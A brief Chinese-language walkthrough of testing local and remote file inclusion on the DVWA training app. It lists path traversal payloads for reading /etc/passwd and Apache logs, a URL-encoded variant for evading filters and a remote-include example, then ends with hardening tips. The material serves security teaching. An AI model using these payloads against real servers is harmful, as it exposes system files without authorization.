文件包含分为LFI本地文件包含和RFI远程文件包含,本次主要以本地文件包含为主进行测试。
进行到DVWA下的File Inclusion(文件包含)菜单下,进入到file1.php页面,获取页面格式为page=file1.php。
文件包含漏洞就是通过include函数将web根目录以外的目录的文件被包含进来,首先测试是否将passwd文件包含,利用page=../../../../../../../etc/passwd,进行提交;
passwd文件在页面显示出,同时,还可以利用page=file:///etc/passwd,如果存在相关安全设备对etc/passwd等字符进行了过滤,可以利用编码后提交尝试绕过,page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
常见包含漏洞测试方法:
?file=../../../../../var/log/apache2/access.log
?page=file:///var/log/apache2/access.log
?home=main.cgi
?page=http://www.a.com/index.php
http://1.1.1.1/../../../../dir/file.txt
加固方法:
过滤或禁止敏感参数,其中以“../../”等目录跳转符号为主
尽量防止或不用动态文件包含
调用str_replace()函数实现相关敏感字符的过滤,可以防御了远程文件包含